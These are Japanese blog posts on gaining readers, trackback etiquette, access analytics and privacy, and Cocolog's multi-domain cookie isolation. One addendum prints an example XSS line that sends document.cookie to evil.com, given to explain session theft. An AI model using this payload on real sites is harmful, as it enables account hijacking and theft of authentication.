キャッチーなタイトルを伴って問題を提起するような記事を出すと、かなりアクセスがあります。
「メタブログ」と呼ばれる blog の使い方/blog ユーザに関する問題提起はあいかわらず興味を持たれています。この記事はもろですが^^;。そして一部の人には飽きられていますが。
ただ、自分の観測範囲では、例えば結構読まれている所からリンクされたとしても、そこ経由で流れてくる数は意外と少ないです。
多くて累計100程度(ここ一ヶ月ではありますが)。もちろん日々万単位のアクセスがあるようなところからリンクされたらもっと多くなるでしょうけれど、私は今のところそこまでは経験が無いです^^;。あ、もちろん今までにご紹介いただいた方には大感謝しております_o_。

他所からの紹介で見にきた人には、その「人」に興味をもつ人も多いので、他の記事を見たりして bookmark に到る可能性は高いです。その時、すぐに辿れる他の記事にもトラックバックされまくるようなものが混ざっていると、「この人はネタ元になる」ということで bookmark して貰えたりします^^;。これをツッコマビリティ能力者あるいは「煽ラー」とでも呼びましょうか:p。
「赤裸々シリーズ」も一部はこれに当たるかも知れません。
あまりにも赤裸々過ぎるとツッコマブルを通り越して、そっと見守ろう、になるかもしれません:p。ただもちろんそれも「読者」には違いないです。


文章以外の何かを公開する

ソフトウェアや音楽などを公開した場合、多くの人の興味は成果物だけにあるかもしれませんが、同じ道を目指す人などは高い確率で公開した「人」に興味を持ちます。もちろん文書と同じく、コンテンツのでき次第ではありますが^^;。ソフトウェア関連の場合、技術性よりも適用可能性(アイデア)の方が評価される傾向があります。


話題に便乗する

流行る話題に速効で乗ると、類似記事が他にあるにもかかわらず、結構読まれます。
トラックバック経由でも意外といらっしゃる方がいるということです。
ただ、紹介された場合ほどではありません。
また、類似商品が多いので、光る意見か情報が無いと「読者」化は難しいです。


人気サイトにコメントを付ける

話題の記事へのコメントでも、単なる感想ではなく新たな視点などで興味を引く内容を書くとか、人柄を感じさせる書き込みだと、「人」に興味をもって見にくる方がいらっしゃいます。アクセス数でいえばトラックバックの方が見にくる方が多いですが、「読者」になってくれる可能性はコメント経由のほうが高いと思います。もしかしたらそのサイトからの「特定記事の紹介」よりも高いのではないかと思います。「サイトの紹介」には劣るでしょうけれど。

コメント経由よりサイト紹介のほうが読者になってもらいやすい、と考えるのは、「紹介に弱い」気質がある、と考えているからにほかならないな^^;。ところで「コメント経由」でやってきた人の心理については別記事を起こす価値があるかも。


以前のサイトの読者を連れてくる

実はココログで当初からすごいアクセスがあるサイトのほとんどは、このパターンだったりします^^;。
このケースでは、もともとが読者だったのであっさり、です。
ちなみに私は自分のサイトが放置状態だったのであまり連れてくることはできませんでした^^;;。


ある程度認知度が上がると他愛もない記事でも公開直後にアクセスがある

これはなんだか不思議ですが、私の場合はそういうことがありました。
アンテナかな…とも思いましたが、検索経由が多く、それだけでも無いようなのです。
この理由はまだちょっとよくわかりません。
認知度に応じて検索結果でより上位に表示されるようになっている、ということはありますが…。
それは、記事公開の連動とは無関係だし…。勘違いの可能性もあり_o_。
時間単位で referrer 統計できるアクセス解析ツールなら解析しやすいんですが…-_-。

(追記)
どうやら RSS reader のような更新検出を用いている方が referrer なしでアクセスされている分が追加で集計されていたようです。ありがたいことでございまする。

他人の BlogPeaple などから流れて来る人はほとんどいない

BlogPeaple を貼っている本人からのものを除くと、他のルートと比較すればかなり少ないといえます。貼っている人への興味の度合いに影響される気はしますが。
ただし、「興味のある人が興味を持っている人」に興味をもってやってきているという意味で、やってきた人の「読者」化の可能性は多少高いと思われます。


とまぁ、とりあえずこんな感じで。
考察してみてより鮮明になったのは、bookmark してくれる「読者」は、やっぱり「人」を意識している、ということですね。
通常の Web サイトでも同じだったはずですが、blog/日記だと読者の興味が「記事」より「人」にいっそう向くように思います。なぜなら blog (サイト)に対する bookmark は資料的価値より将来への期待が込められているのですから。

blog ネタは続くよどこまでも…-_-。
先の「アクセス解析は当たり前です」では、「嫌だと思うのは構わないけれどもされるのが当たり前と考えないと」という話しかしておらず、閲覧者がプライバシーを守りたい場合にどういうスタンスを取ればよいかについては何も述べていませんでした。

で、それについて自分流のやり方を走り書き。個々の設定方法までは書き切れないです_o_。
なお、対象サイトは blog に限定していません。

  • サードパーティ cookie は受けつけない設定にする
  • cookie は「受け付けるかどうかをダイアログで確認する」設定にする
    サイト単位で受容/拒否を記憶できるブラウザが楽
  • いかにも信用出来なさげなサイトに行く時は、「script の実行」を「ダイアログで確認する」にする
  • そのサイトにアクセスする時の接続元を意識する
    会社などからのアクセスについては当然見るか否かの判断に注意する
    ただし、これはサイトによるアクセス監視よりもプロキシサーバ(ファイアウォール)でのアクセス監視に備えて、とうい意味合いの方が多い

といったあたりでしょうか…。
相手サイトがアクセス解析をしていることが見えるか見えないかは全く無関係であることに注意。

次に、ちょっと視点が違うご感想も。
[(´Д`)ノ: ヲタクにとってのアクセス解析。]

(略)そういうサイトの管理人にとっては「アクセス解析」、結構神経尖らす問題かもしれません。
で、ヲタク的恐れは「オフィシャル(またはそれに準ずる)サイトに飛ばれた時」が第一です(個人的には)。

つまり、アクセス元と referrer を合わせて、「この人はここのサイトから来ているな」というのをサイト管理者に知られると嬉しくないケースのようです。

えーっと、私は自分の趣向が(マーケティング会社以外に)ばれることに関してはどうってことないんじゃないか?と思ったりしますが(ばれてまずいといわれる時に、そのリンク元に犯罪性があったりするケースが多いという印象も少々)、上記のような場合には、リンクをクリックしないでURLをコピーして、それをアドレスバーに貼り付けて移動すれば問題ないです。また、オタク系サイトの管理者さんとしては、リダイレクタ経由でリンクするということもされているのでは無いかなぁ。

ほんとは別の(今日はながーぃ記事を書いた)記事の余談として書いてたんですが、余談過ぎるので別記事に分離して先に公開^^;。
このページは外付けのアクセス解析を利用しています。アクセス解析と言えば、以前、
Tokyo Forum: 結局「アクセス解析」は・・・
ホコタテブログ: アクセス解析の意味
などに、設置する側への問題提起の意見があったのですが、今の Web をサービスしている HTTP サーバは間違いなくアクセスログを記録していまして、ココログのように外付けしないとオーナーにアクセス状況がわからない、というほうが珍しいんですね。
blog ホスティングサイトに限定すれば状況は変わるかもですが。

なので、同じ啓蒙するなら、「アクセス解析を付けるのってどうよ」ではなく、「アクセス解析されているのはあたり前なんだよ」という風に言ったほうが現状に即してるんだけど…と思っていましたが、みんな言ってたので言わなかったですけど、今さら言います^^;。

つまり、「アクセス解析を付けているサイトはやだ」と思う人のほうこそが妥当な啓蒙対象なわけですね。

ただ、私の付けている忍者TOOLSなどの外付けのアクセス解析は、JavaScript と cookie を使うのでうざいというのはそのとおりで、やっぱりココログ自体が対応して欲しい所です。
cookie は私も信用したサイトのものでないと食べません。CSS のためにも JavaScript を使わざるを得ないというイタイ状況なので、毒を食らわば皿まで状態ですが^^;。だったら MovableType 使えってなもんですが、ココログ始めたの自体が実験だったし、始めてみて、「人の多さ」という魅力が結構あることも解ったので、少々の使い辛さは別にいいかという気になってますけど^^;。
ただ、少なくとも「気持ち悪い」というのは「見える/見えない」の違いでしかなく、実際にはココログの外ではほとんどがアクセス内容が解析可能になっているものだ、というのは「敬遠する」という方には知っておいていただきたいです。

P.S.
この話題はココログ界隈では既に何週間も前のものなんですが、blog では一週間以上前の話題はなんかすごーく古い話題のように感じちゃってネタにするのを躊躇っちゃうよ^^;。そういう方、多いはず:p。
でも、書くけどさ。

古い記事にトラックバック:p。
元祖しゃちょう日記 : niftyのココログの不思議なドメイン。

なんで、ドメインをいちいち変えてるんでしょう?
パッと見た限りで、こんなドメインがありました。

http://trott.cocolog-nifty.com/
http://hugo-sb.way-nifty.com/hugo_sb/
http://okinawa-sanpin.tea-nifty.com/cfs/
http://os2.air-nifty.com/ecs/
http://kumaneko.moe-nifty.com/blog/
http://kugikemi.txt-nifty.com/tsugimoto/

cocolog-nifty.comはまぁしょうがないと思うのですが、
後のドメインはいったい、、、

ネタにマジレス…ってかネタじゃなくてほんとに不思議みたいなので思っていたことを書いてみます。
ドメインが複数個あるのは単にユーザ数が増えたときの名前の衝突を避ける為でしょうね。
また、上記のようにホスト名レベルでユーザが区別されていると、cookie の有効範囲をドメイン制約のみで安全に隔離できるという利点があります。
cookie の有効範囲指定としては PATH による指定も可能ですが、実は PATH による cookie 有効範囲指定はそのドメイン上で多岐のサービスを提供している場合は非常に脆弱です。

参考:クロスサイトスクリプティングとcookieの有効path

同一ドメイン上の他のサービスにクロスサイトスクリプティングと呼ばれる脆弱性があった場合、そのドメイン上の任意の cookie が盗まれ得ます。
ひろゆきさんが利用されている livedoor blog は、
http://blog.livedoor.jp/hirox1492/
のような URL になっています。
livedoor blog の編集画面の仕様は知らないのですが、もしこのドメイン上で cookie を発行することで認証状態を記憶できるようになっているとしたら、blog.livedoor.jp 上のどこかのページにクロスサイトスクリプティング脆弱性があった場合、アカウント乗っ取りが可能になります。

他にも理由はあるかもしれませんが、私が直感的に思った範囲では、そんな点からしてもユーザ空間をドメイン(ホスト)のレイヤで分けるのは安全性の高い方式である、と思います。

とはいえ、nifty の他のサービスはユーザ空間をドメイン名レイヤで分けているわけでもないので、nifty がこういう脅威に備えてそうしたかは怪しいですが^^;。


そうそう、参考繋がり^^;で、高木さんの日記が久々に更新されてましたのでご紹介~。
きっとこのページがリンク元になるのも意義があるはず:p。


(追記)
はっっ!!よくよく考えたらココログの場合、cookie を利用する編集画面は https://app.cocolog-nifty.com/ ではないか…。ってことは上記とは無関係に他人のアカウント乗っ取りの可能性はあるってわけだ-_-。
まぁもともとは PATH 単位でサーバを切り分けるのが面倒とかの理由でホストで分けたんだろうとは思ってたけど…。せっかくいい手段だと思ったのにねぇ-_-。

あ、念のため、https://app.cocolog-nifty.com/ のどこかに第三者から script を送り込めるような脆弱性がない限り、cookie は盗まれないです。が、もし以下のような URL を編集ページ上から叩かれるような手段が存在したら、認証済み状態が盗まれます。
javascript:document.location="http://evil.com/"+document.cookie

(追記:2004/02/09)
ネタもとを失念してしまいましたが_o_、複数ドメインに分けていることで、ココログ同士のリンクが異なるドメインにまたがることになり、それは SEO 効果がある、という話がありました。
www.nifty.com のようなランクの高いページからリンクされていること以上に有望な説ですね。
だからといって、nifty がその効果を考えてドメインを分けたとは思えませんけどね^^;。

たまに目にするのですが、ある記事Aに言及した記事Bに対して、記事A側からトラックバックが送られることがあります。
記事Bは記事Aに言及しているので既に記事Aへのリンクがあり、さらに引用などがあったりするわけです。
そのような記事Bにトラックバックとして記事Aが記載されることに違和感を感じたりします^^;。

別にまずいことはないんですが、意義も無いよなぁ…と。

これはもしかしたら「トラックバックを送る」という行為自体に意義を見いだしていて、いわば「相互リンクしました」な感覚でなされるのだろうか…などと考えていたところでした。
blog をコミュニケーションツールとみなして利用する方にとってはそういうのもありなんでしょう、きっと^^;。
しかし、相手がニュースサイト並みの化け物サイトだとすると、そこの読者はその記事に言及しているものを探してトラックバックを漁るわけですが、そういうスタンスで見るとゴミトラックバックと変わらなかったりします。

やはり、トラックバックは「相手とそのページの読者」が見るものですから、マナーレベルの話ではありますがそれらの方のことを考えた方がよい(ケースもある)でしょうねぇ。教条的なのがやだから異常に柔らかく言ってみるテスト^^;


観測気球: トラックバックしないでおいたら向こうの方からトラックバックされてしまいました

こういう場合はどうなんでしょうね…^^;。これも本来は、トラックバックされなかったかわりに、「こんなふうに言及/紹介してくれているところもあるよ」という形で記事に追記するのが妥当な気がしますが、ここでのトラックバックの使われ方も、読者指向ではなく、記事オーナー同士のコミュニケーションという観点に着目した結果、と言えるんでしょうかねぇ。

私はもともと興味の無いことでしたが、「相互リンクしました」文化を垣間見た事象でした^^;。

そういえば、先の記事で「問題はオーナーの対象とする読者がどう思うか」と書いたんですが、オーナーの対象とする読者がオーナー自身であってももちろん構いません^^;。他の読者のことを考えるのも考えないのも自由ではあります。

CNET Japan のゴミトラックバックの話。と、いきなりツッコマブルに始める:p

既に議論がたくさんされているようで、読み切れていないのですが_o_。直感的な感想おば。
見た記事に対してはトラックバックを送っておきます^^;

[Kotaro Yamagishi's bJournal - 山岸広太郎のBlog(ブログ)]

次のステップとしては、何らかの形で良質なTrackBack先を紹介していく仕組みを作ることですね。クリック数が多いとかそういうのはダメだと思うので、どうするか。現段階の可能性として濃厚なのは人力なのですが、これをやるにはやはり編集部の人員とオペレーションの体制を整える必要があり、もう少し時間がかかると思います。

山岸さんは CNET Japan 編集長だそうです。
私は「トラックバックは相手とそのページの読者に自分のページを伝えるものだから、それらの方にとっての新しい情報が含まれない場合は送らない」ものと考えて、リンクと使い分けています。
これは発端となったkush's blog: CNET JapanのTrackBack と同意見です。

そうでないトラックバックは通常の目的からすればノイズと言ってよいでしょう。山岸さんがおっしゃっているように、「反応がある」というだけでも情報としての価値があるので、「反応があること」に興味がありさえすればノイズではなくなるのですが。spam は?宣伝目的の場合は「反応」ですらない場合もあるわけですが。そして、個人サイトの宣伝目的、というケースも多いわけですが。まぁ、それすらも「ここなら宣伝効果があると送り主が考えた」という「反応」である、とも言えますけどね^^;。問題はオーナーの対象とする読者がどう思うか、だと私は思います。

まぁノイズかどうかはともかくとして、今のトラックバックの仕組みではそういったものを回避できないので、オーナーの対象とする読者のために、上記引用のように仕組みが必要になります。

で、CNET のように、トラックバックによる繋がりという観点からいうと常に一次ソースとなるようなサイトなら、スラッシュドットと同様な投票によるモデレーションを導入するのがよいと思います。
通常 blog 記事の評価はその記事自体から辿れるところに付けられますが、CNET のようなサイトであれば、トラックバックに対して評価を入力してくれる人も結構いそうです。つまり、CNET のトラックバック一覧画面上で、各トラックバックの有志による評価も表示するんです。もちろんそれをどう利用するかはユーザ次第ですが。
なにしろ、今の情報溢れの時代、トラックバック一覧を見るのにクリックが必要なことすらうざいと思ったりするのに、その先の記事を一つ一つ見るコストは、数が多くなるととても払っていられないという人も多いですし。

で、オーナーが判断するよりもオーナーの対象とする読者が判断するほうが良いでしょうし。
「オーナーの対象とする読者」とはまた非常にツッコマブルな表現だな^^;
ただ、スラッシュドットなどでもよく問題になっていましたが、投票的な仕組みだと匿名による悪徳モデレーション問題がありますのでシステム構築コストとの折り合いが問題ではありますが。

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